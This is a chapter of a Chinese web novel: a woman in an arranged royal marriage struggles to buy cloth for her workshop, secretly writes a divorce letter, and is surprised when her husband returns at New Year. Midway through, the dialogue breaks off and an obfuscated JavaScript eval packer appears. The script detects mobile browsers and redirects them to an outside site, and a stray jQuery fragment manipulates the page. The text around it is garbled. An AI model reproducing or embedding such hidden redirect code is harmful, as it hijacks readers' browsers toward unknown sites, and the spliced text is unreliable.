37. 第 37 章

作品:《潇声生宵

    日子一天天过去,宋潇声掰着指头数自己去过的所有布坊,没有哪一家愿意给自己出布料。


    坐在月梭坊里,宋潇声想不明白,这些人的口供都跟串通好了似的,每次去问,都说年关来了,布坊要留给其他人。


    像月梭坊这样大的需求,他们给不出来。


    宋潇声同白玉生讲了这事,白玉生看了她一眼,把瓜子壳吐到篓子里:“一家不给,那你便多去几家,每家买一点,这样就有了。”


    宋潇声说自己试过了,也是不给卖。


    现在已经招到了一批学员,正巴巴等着她拿货回来开工。


    这还是因为上次给那个姨算了一卦,二人偶然在江南街碰面,宋潇声便说了一嘴,第二日就来了好些人,全是被介绍来的。


    白玉生语气不太好:“还是咱们王妃心善啊,你看不出来这些人全是家里养不起丢过来混日子的么?”


    “你不要一棒子全都打死,”宋潇声回头看了一眼敞开的房门里的一些女孩,大多都是十几岁的年纪,也有小的,不过八九岁。


    她默默道:“有些人是真心想学的。”


    白玉生不说话,继续吃她的瓜子。


    良久,两个人望着来往的人流发愁,不多时,白玉生拍拍手上的碎屑:“你自己家不是布坊么?怎么不去找你哥?”


    宋潇声揪着手上的倒刺,一个没注意便扯出了血痕,她像没知觉似的。


    白玉生随意一瞟就看见了,眉头出现一块阴影,看着都疼。


    宋潇声的声音从耳边传来,“我想过,但我哥那个性子应该不会卖给我。”


    白玉生快速在脑子里回忆了一下宋明初在自己家的表现,质疑道:“我瞧着挺好啊,你问过他没,没问怎么知道他不会卖给你?”


    宋潇声瞧了轮椅上的女人一眼,心里想,那是因为他喜欢你。但宋明初不是对白玉生说自己没钱吗,怎么这会白玉生知道家里有个布坊了?


    “我再试试。”宋潇声道。


    “你要是说不动他那我便去同他说。”


    宋潇声默声了,白玉生偏过头去不看她,手攥紧了,一些没拍干净的瓜子壳被按进指腹,嵌在肉里,引得她一个激灵。


    手一颤,心也跟着颤。


    这些天她一直在想,宋潇声待她这么好,宋明初也是,宋家两个兄妹都把自己当朋友看,而自己却不肯对他们袒露心声,像见不得光的老鼠。


    左手指甲合在一起,把那根碎屑扯了出来。


    “你有想过为什么下丘的布坊不愿意卖给你布料么?”白玉生吹走手里捏着的东西。


    “想过,想不通。”宋潇声实话实说。


    “还记得咱俩第一次见面的时候么?”白玉生嗓音忽然沉了下来。


    宋潇声顿了顿,回头看她:“……你是说那个男人?”


    “是啊,”白玉生直视宋潇声的眼睛,“你男人踹倒的那个,他跟行阳商会有关系,那天晚上,没有人想招待他,他在可是出了名的下流,一双手不知道摸过多少女人了,掌柜的看我是个瘸子,就让我去了。”


    白玉生的眼睛清明又纯粹,在白日的时候可以看见她眸子里泛着一层温润的荧光。


    宋潇声按了一下手上的小缺口,幽幽道:“你觉得是因为他吗?”


    见宋潇声没有丝毫惊讶的表情,白玉生很快便说:“你不这么觉得吗?”


    “也许吧,”宋潇声看着刺眼的白色天空,眼睛盯了一会就看不清了,“我总觉得没那么简单。”


    白玉生怔然,拍着飘在宋潇声衣摆上的瓜子壳,“那我去找你哥,他跟我说这几日回去拿货,过几天就来了。”


    宋潇声点点头,“我先回府,明日再来。”


    白玉生摆摆手,“去吧去吧。”


    宋潇声站起来,拢着系在身上的大氅,回头看着屋子里闹腾的小孩,“辛苦了,还要带孩子。”


    白玉生翻了个白眼,“知道了就干净找布料,别让她们一直烦我。”


    上了马车,宋潇声想到宋明初,他会同意吗?


    从多扬县到下丘,得个半天,一次性又要拿不少布料,远比不上在宋家布坊来的清闲。


    宋明初也不像会干麻烦事的人。


    王府大门前已经挂上了红灯笼,各个都有半人长,给冷清的王府增添了不少人烟味。


    宋潇声看着下人打扫灯笼上的灰尘,站的太近,吸到鼻子里,受了刺激打了个喷嚏。


    她回下丘已经近十天了,沈淮竹还没有从京城回来。


    王嬷嬷瞧见她,将她拉远了一些:“还有半个月就要过年了,也不知道王爷什么时候回来。”


    宋潇声淡道:“早晚都会回来的。”


    鬼使神差,宋潇声在内心的驱使下往西边的书房去了,推开门,还是浓厚的墨香,这里好像还是和之前一样,什么都没变。


    手下还是宣纸熟悉的触感,案边仿佛还残留着沈淮竹的气味。


    拿起笔在纸上写了几个字,宋潇声隐隐地觉得,沈淮竹可能不会回来过年了。


    手感回来了一些,宋潇声在纸上写下了沈淮竹的名字。


    她问了一嘴系统,这个时代的休书都由谁来写。


    系统道:“长辈代笔,或者是男方,一般多为男性。”


    宋潇声眉头蹙起:“为什么。”


    “这里女性受教育程度普遍较低,没有多少人会把家里的女儿送去学堂,大多数人都不会写字。”


    宋潇声静了会儿,开始写。


    系统阻拦她:“你确定么?一旦决定退出任务,就不可能再回到你自己的世界了。”


    宋潇声手没停,嘴巴咬的发白,在心里道:“我知道。”


    没有人会准确的预料到余生的每个瞬间,曾经期待的事情也不一定会落实,或多或少都会和遗憾掺杂在一起,然后成为说不出口的秘密和这副身体一起走向坟墓。


    几个月前自己刚刚来到这个世界,那个时候的她也没有想过自己这么快就会放弃,更没有想到自己会把沈淮竹看的如此重要。


    宋潇声理不清自己对沈淮竹的感情,说不清楚自己对于他到底是喜欢,还是感激,亦或者是愧疚。


    这些情绪在心里反复拉锯自己的思绪,说不清道不明。


    周而复始地想,只觉得自己拖累了沈淮竹。


    宋潇声觉得,没有她,沈淮竹的妻子就不会成为一个让人诟病的话题。


    一字一句,宋潇声写了四遍。


    手上的温度越来越凉,到最后甚至没有感觉了。


    像冰柱杵在毛笔上,机械地运作着。


    一纸休书,从宋潇声开始,由沈淮竹结束。


    手里的触感干涩冰冷,攥在手里,像一把纤薄的刀片。


    拿着的时候害怕,放下的时候更害怕。


    宋潇声待这纸上的墨全干了,小心翼翼地把它叠了起来,放到寝室的枕头下面。


    等时机倒了,她就可以把这个给沈淮竹。


    脑海里突兀地传来声响,系统道:“你现在放弃是不是太早了。”


    宋潇声嘴上还有一圈没消散的牙印,她喃喃道:“我这个人太奇怪了。”


    “不太能接受别人对我的好,”宋潇声坐在榻上,低下头,用手捏起锦布褥子,手指划过上面精细的花纹,全是府里的绣娘一针一线缝上去的。“别人对我好,我会产生一种……很微妙的不配得感,我习惯照顾别人,母亲从小便这样教导我。遇到困难,要敢于反抗,所以很多时候,我会下意识地站在别人前面。”


    “而且沈淮竹,因为我名声都坏了吧。”


    宋潇声站起来,围着寝室里里外外走了几圈,这几个月,这里算是她心安处了。


    “你这是怂。”系统不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308318|180376||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    客气道。


    宋潇声没做声,默认了。


    她那些说不清楚的心绪里,最害怕的还是,她与沈淮竹的身份、付出、感情,不成正比。


    自己能给的太少了,想要的又太多。


    “爱情没有绝对的公平。”系统道,“有人甘愿付出,有人只愿享受。什么都讲究公平,那就会失去它原本的意义。”


    “也许吧,”宋潇声关上寝室的门,看着挂在不远处的灯笼,“我太自私了,如果沈淮竹不对我这么好,我兴许还能有点干劲。可他偏偏什么都依着我。”


    沈淮竹只是作为一个丈夫,本能的帮助妻子。


    临近除夕三天,宫里派人给王府送来了一封信,沈淮竹亲笔。


    “致吾妻潇声:


    新年将至,不必等候,望王府安好,吾在京城一切如旧,勿牵挂。愿吾妻岁岁安澜,昭昭如愿。


    腊月二十四日,沈淮竹。”


    王嬷嬷看不懂字,见宋潇声把纸捏了半天,要看出花来的样子,不免着急。


    “夫人,王爷写了些什么?”


    “王爷说不要等他,我们过我们的。”宋潇声把纸叠起来,放到衣服里收着。


    “王爷回不来么?”王嬷嬷眉毛拧起来,眼角的细纹又多了一些。


    “嗯。”


    “定是宫里留他了,”王嬷嬷道,“小姐莫要担心,之前也总是这样,我们等便是了。”


    宋潇声点点头,看她:“嬷嬷,过年的时候府里应该只有我们吧?”


    王嬷嬷顿了顿,有些犹豫:“……只有我和夫人二人,其他下人都要回家过年。”


    她本以为宋潇声会露出一副落寞沮丧的表情,惴惴不安地往一旁看去,发觉她并没什么反应,只听到:“那咱们到时候收拾一下去月梭坊过年吧,那里热闹些。”


    王嬷嬷表面应下了,心里想的却是,夫人肯定是见王爷走了太难受了,不愿意呆在府里。


    她这几日收拾了些食材,往月梭坊拿了好几次,里面的一些学徒等不到布料,便决定过了年再来,让人意外的是她们居然没闹。


    在宋潇声刚开始同她说这些事情的时王嬷嬷心里便一直有个梗子,她觉得宋潇声过于单纯,把一切都想的太理想,太虚幻。


    这个世道,在没有足够的实力面前,善人一直都是任人欺凌,落不到好下场的。


    除夕这日,宋潇声从府里拿出来两个灯笼,挂在了月梭坊牌匾下。


    白玉生摘菜的时候瞧见了,“只挂外面太虚了,你怎么不多拿几个?”


    宋潇声的声音从门口传来,“拿多了我便挂不上了,这太高了,我得搭凳子。”


    白玉生没继续这个话题:“你哥今天要过来,我晚上给你说说布料的事情。”


    宋潇声没反应,白玉生停了下:“你不待见他?”


    “没有。”宋潇声道,“我只是怕晚上和他讲这些会影响年夜饭。”


    白玉生“嘿”了一声,“你就这么想你哥的?”


    宋潇声抿嘴,可不嘛,宋明初早在心里给自己扣了一个杀父仇人的帽子,也不知道摘下来没。


    白玉生重重叹了口气,没做声了。


    等王嬷嬷和白玉生做饭的时候,天上忽然飘下来雪花,一点一点黏在灯笼上,晕开一小块湿渍。


    宋潇声在门口擦东西,远远的就听到了马蹄子在地上踏来踏去的声音,就没放在心上,又去里面拿了米糊,要把窗花贴上。


    可靠近大门的时候,宋潇声的心脏却狠狠地震了一下。


    一走过拐角,抬眼看去,来者一袭青色大氅,头上凝着雪花,茶香入鼻,只身站在距离台阶三步的距离。


    空旷的街道,淡黄色的烛光下,风尘仆仆的沈淮竹遗世独立。


    宋潇声猝不及防撞入这一双黑如浓墨的眼睛,那一刹那,她忽然懂了什么叫一眼万年。